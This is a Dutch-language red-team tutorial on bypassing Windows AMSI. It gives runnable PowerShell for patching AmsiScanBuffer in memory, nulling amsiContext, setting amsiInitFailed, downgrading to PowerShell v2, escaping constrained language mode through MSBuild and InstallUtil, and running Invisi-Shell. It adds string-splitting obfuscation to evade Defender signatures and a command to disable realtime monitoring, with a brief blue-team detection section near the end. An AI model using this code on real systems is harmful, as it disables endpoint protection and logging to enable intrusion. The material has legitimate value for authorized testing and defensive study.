AMSI Bypass Technieken
Het Antimalware Scan Interface (AMSI) is een van de belangrijkste verdedigingslagen in moderne Windows-omgevingen. Als pentester of red teamer loop je er regelmatig tegenaan wanneer je PowerShell-payloads wilt uitvoeren op een gecompromitteerd systeem. In deze tutorial behandelen we de architectuur van AMSI, de meest gebruikte bypass-technieken en hoe je deze toepast tijdens geautoriseerde beveiligingstests.
Niveau: Gevorderd
Let op — Deze technieken mogen uitsluitend worden toegepast binnen geautoriseerde penetratietests. Ongeautoriseerd gebruik is strafbaar.
Vereisten
- Windows 10/11 of Windows Server 2016+ testomgeving
- PowerShell 5.1 of hoger
- Basiskennis van .NET en PowerShell
- Visual Studio of een C# compiler (optioneel, voor custom payloads)
- Incompetent Bastard (IB) draaiend op je aanvalsmachine
- Kennis van geheugenmanipulatie en Windows internals is een pré
Hoe AMSI werkt
De AMSI-architectuur
AMSI is een interface die Microsoft introduceerde in Windows 10. Het stelt antivirusproducten in staat om scripts en code te scannen voordat ze worden uitgevoerd. De flow ziet er als volgt uit:
- Een applicatie (bijv. PowerShell) stuurt inhoud naar AMSI via
AmsiScanBuffer()ofAmsiScanString() - AMSI routeert de scan naar de geregistreerde antimalware-provider (bijv. Windows Defender)
- De provider retourneert een resultaat:
AMSI_RESULT_CLEAN,AMSI_RESULT_DETECTED, etc. - De applicatie beslist op basis van het resultaat of de code wordt uitgevoerd
Belangrijke functies in amsi.dll
De kernfuncties die AMSI aanbiedt vanuit amsi.dll:
- AmsiInitialize — Initialiseert de AMSI-sessie en maakt een context-object aan
- AmsiOpenSession — Opent een scansessie binnen een bestaande context
- AmsiScanBuffer — Scant een buffer met willekeurige inhoud
- AmsiScanString — Scant een string (roept intern AmsiScanBuffer aan)
- AmsiCloseSession — Sluit de scansessie
- AmsiUninitialize — Ruimt de AMSI-context op
Welke applicaties gebruiken AMSI?
AMSI wordt standaard aangeroepen door:
- PowerShell (vanaf versie 5.0)
- Windows Script Host (wscript/cscript)
- JavaScript en VBScript
- Office VBA macro’s (vanaf Office 365)
- .NET assemblies geladen in PowerShell
Bypass Techniek 1: Memory Patching (AmsiScanBuffer)
Dit is de meest betrouwbare bypass. We overschrijven de
AmsiScanBuffer-functie in het geheugen zodat deze altijd
AMSI_RESULT_CLEAN retourneert.
Hoe het werkt
De techniek laadt amsi.dll, zoekt het adres van
AmsiScanBuffer, wijzigt de geheugenpermissies naar
schrijfbaar, en overschrijft de eerste bytes met instructies die direct
een onschadelijk resultaat retourneren.
Implementatie
# Stap 1: Definieer Win32 API functies via P/Invoke
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr h, string n);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string n);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr a, UIntPtr s, uint np, out uint op);
}
"@
Add-Type $Win32
# Stap 2: Laad amsi.dll en vind AmsiScanBuffer
$lib = [Win32]::LoadLibrary("amsi.dll")
$addr = [Win32]::GetProcAddress($lib, "AmsiScanBuffer")
# Stap 3: Maak het geheugen schrijfbaar (PAGE_EXECUTE_READWRITE = 0x40)
$oldProtect = 0
[Win32]::VirtualProtect($addr, [uint32]5, 0x40, [ref]$oldProtect)
# Stap 4: Patch met bytes: mov eax, 0x80070057 (E_INVALIDARG) + ret
$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 6)Testen
# Dit zou normaal gedetecteerd worden door AMSI:
IEX 'amsiutils'
# Na de patch: geen detectieIB — Gebruik het commando
amsi_bypass_patch in de IB command library. Dit bevat een
geoptimaliseerde one-liner variant van bovenstaande patch.
Detectie en tegenmaatregelen
Windows Defender detecteert bekende varianten van deze patch op basis van de byte-patronen. Obfuscatie van de PowerShell-code is daarom essentieel:
# Voorbeeld obfuscatie: variabele namen randomiseren
$a = "Ams"; $b = "iSc"; $c = "anB"; $d = "uffer"
# Bouw de functienaam dynamisch op
$funcName = $a + $b + $c + $dBypass Techniek 2: Reflection-based (AmsiContext Null Pointer)
Deze techniek gebruikt .NET reflection om interne velden van de
AMSI-implementatie in PowerShell te manipuleren. Door de
amsiContext-pointer op nul te zetten, faalt elke volgende
scan.
Implementatie
# Zoek de AmsiUtils klasse via reflection
$types = [Ref].Assembly.GetTypes()
ForEach ($type in $types) {
if ($type.Name -like "*iUtils") { $amsiUtils = $type }
}
# Zoek het amsiContext veld
$fields = $amsiUtils.GetFields('NonPublic,Static')
ForEach ($field in $fields) {
if ($field.Name -like "*Context") { $contextField = $field }
}
# Zet de context pointer naar 0 (null)
$context = $contextField.GetValue($null)
[IntPtr]$ptr = $context
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)IB — Het commando
amsi_bypass_reflection bevat een compacte versie. Combineer
dit eventueel met
Set-MpPreference -DisableRealtimeMonitoring $true als je
admin-rechten hebt.
Beperkingen
- Werkt in PowerShell 5.1 (pre-Windows 11 builds)
- PowerShell 7+ gebruikt andere interne structuren
- De string-patronen worden door Defender gedetecteerd; obfuscatie is vereist
Bypass Techniek 3: amsiInitFailed Flag
De eenvoudigste bypass: zet de interne
amsiInitFailed-vlag naar true. PowerShell
denkt dan dat AMSI-initialisatie is mislukt en slaat alle scans
over.
Implementatie
# Zoek de AmsiUtils klasse
$types = [Ref].Assembly.GetTypes()
ForEach ($type in $types) {
if ($type.Name -like "*iUtils") { $amsiUtils = $type }
}
# Zoek het amsiInitFailed veld
$fields = $amsiUtils.GetFields('NonPublic,Static')
ForEach ($field in $fields) {
if ($field.Name -like "*Failed") { $initField = $field }
}
# Zet naar true
$initField.SetValue($null, $true)IB — Gebruik het commando
amsi_bypass_context voor deze techniek. Let op: de string
amsiInitFailed wordt actief gemonitord door Defender.
Obfuscatie-voorbeeld
# Breek strings op om signature-detectie te omzeilen
$w = 'System.Management.Automation.A'
$c = 'si' + 'Ut' + 'ils'
$z = [Ref].Assembly.GetType(($w + 'm' + $c))
$f = $z.GetField(('a' + 'ms' + 'iI' + 'ni' + 'tF' + 'ai' + 'led'), 'NonPublic,Static')
$f.SetValue($null, $true)Bypass Techniek 4: PowerShell Downgrade (v2)
PowerShell versie 2 heeft geen AMSI-integratie. Als .NET Framework 2.0 nog beschikbaar is op het doelsysteem, kun je simpelweg terugvallen op versie 2.
Controle en gebruik
# Check of PowerShell v2 beschikbaar is
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
# Start PowerShell v2 (geen AMSI, geen CLM)
powershell -version 2
# Verifieer de versie
$PSVersionTable.PSVersionBeperkingen
- Vereist .NET Framework 2.0/3.5 (vaak niet geinstalleerd op moderne systemen)
- Geen toegang tot moderne PowerShell-modules
- Wordt gelogd in Event Log (PowerShell engine start met versie 2)
- Hardened omgevingen verwijderen deze feature
Bypass Techniek 5: Constrained Language Mode (CLM) Bypass
CLM beperkt welke .NET-types en -methoden je kunt gebruiken in PowerShell. Dit wordt vaak gecombineerd met AMSI. Als je CLM omzeilt, heb je volledige toegang tot .NET en kun je vervolgens AMSI patchen.
Methode 1: Custom Runspace
# Maak een nieuwe runspace aan die niet onder CLM valt
powershell -c "$rs = [runspacefactory]::CreateRunspace()
$rs.ApartmentState = 'STA'
$rs.ThreadOptions = 'ReuseThread'
$rs.Open()
$p = $rs.CreatePipeline()
$p.Commands.AddScript('`$ExecutionContext.SessionState.LanguageMode')
$p.Invoke()"Methode 2: PSBypassCLM via InstallUtil
# Gebruik InstallUtil om een .NET assembly te laden buiten CLM
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\tasks\PSBypassCLM.exeMethode 3: MSBuild Inline Task
<!-- clm_bypass.xml - C# code wordt uitgevoerd buiten CLM -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Bypass">
<ClassExample />
</Target>
<UsingTask TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask {
public override bool Execute() {
Console.WriteLine("CLM Bypassed!");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\tasks\clm_bypass.xmlIB — Het commando amsi_bypass_clm bevat
alle drie de methoden. Kies de methode die past bij de restricties van
je doelomgeving.
Bypass Techniek 6: Invisi-Shell
Invisi-Shell gebruikt een custom CLR profiler DLL die hooks plaatst op de PowerShell-engine. Dit omzeilt niet alleen AMSI, maar ook Script Block Logging, Module Logging en Transcription.
Gebruik
# Met admin-rechten (registry keys in HKLM):
RunWithPathAsAdmin.bat
# Zonder admin-rechten (registry keys in HKCU):
RunWithRegistryNonAdmin.bat
# Na gebruik: exit om hooks en registry keys op te ruimen
exitVoordelen
- Omzeilt ALLE PowerShell-logging
- AMSI bypass is niet meer apart nodig
- Geen verdachte PowerShell-commando’s in logs
Aandachtspunten
- Moet VOOR andere tools geladen worden
- Werkt alleen in nieuwe PowerShell-processen
- De DLL moet op het doelsysteem staan
IB — Gebruik het commando
amsi_invisishell en zorg dat de InvisiShell bestanden via
get_invisi of get_ie_invisi op het doelsysteem
staan.
Bypass-strategie kiezen
| Techniek | Admin nodig | Betrouwbaarheid | Detectiekans | Scope |
|---|---|---|---|---|
| Memory Patch | Nee | Hoog | Middel | Huidige sessie |
| Reflection | Nee | Middel | Middel | Huidige sessie |
| amsiInitFailed | Nee | Middel | Hoog | Huidige sessie |
| PS Downgrade | Nee | Laag | Laag | Nieuwe sessie |
| CLM Bypass | Soms | Middel | Laag | Nieuwe runspace |
| Invisi-Shell | Optioneel | Hoog | Laag | Nieuw proces |
Aanbevolen aanpak
- Probeer eerst de memory patch (meest betrouwbaar)
- Als dat gedetecteerd wordt, gebruik Invisi-Shell (als je bestanden kunt uploaden)
- In geharde omgevingen: combineer CLM bypass met een obfuscated AMSI patch
- Als laatste redmiddel: PowerShell v2 downgrade (als beschikbaar)
Detectie vanuit Blue Team perspectief
Als verdediger kun je AMSI-bypasses detecteren door te letten op:
# Event ID 4104 - Script Block Logging
# Zoek naar verdachte patronen:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
Where-Object { $_.Message -match 'AmsiScanBuffer|VirtualProtect|amsiInitFailed' }Andere detectie-indicatoren:
- Onverwachte aanroepen van
VirtualProtectopamsi.dll-adresruimte - PowerShell-processen die starten met
-version 2 - Onbekende CLR profiler DLL’s in het register
- Wijzigingen in
HKLM\SOFTWARE\Microsoft\.NETFrameworkofHKCU\Environment\COR_PROFILER
Samenvatting
AMSI is een krachtige verdedigingslaag, maar kent meerdere
bypass-mogelijkheden. De memory patch op AmsiScanBuffer is
de meest betrouwbare methode, terwijl Invisi-Shell de meest uitgebreide
bescherming biedt tegen detectie. In de praktijk zul je technieken
moeten combineren en obfusceren, afhankelijk van de
beveiligingsmaatregelen van het doelsysteem.
Belangrijke punten:
- Ken de architectuur van AMSI voordat je probeert het te omzeilen
- Obfusceer altijd je bypass-code om signature-detectie te voorkomen
- Test je bypasses in een gecontroleerde omgeving voordat je ze inzet
- Documenteer welke bypass je hebt gebruikt in je pentestrapport
- Gebruik IB’s command library voor snelle toegang tot bewezen technieken
IB — Alle AMSI bypass commando’s zijn te vinden in
de command library onder het amsi_ prefix. De bijbehorende
payloads (zoals amsi-bypass.ps1 en
amsi-shell.ps1) staan in de http/payloads/
directory.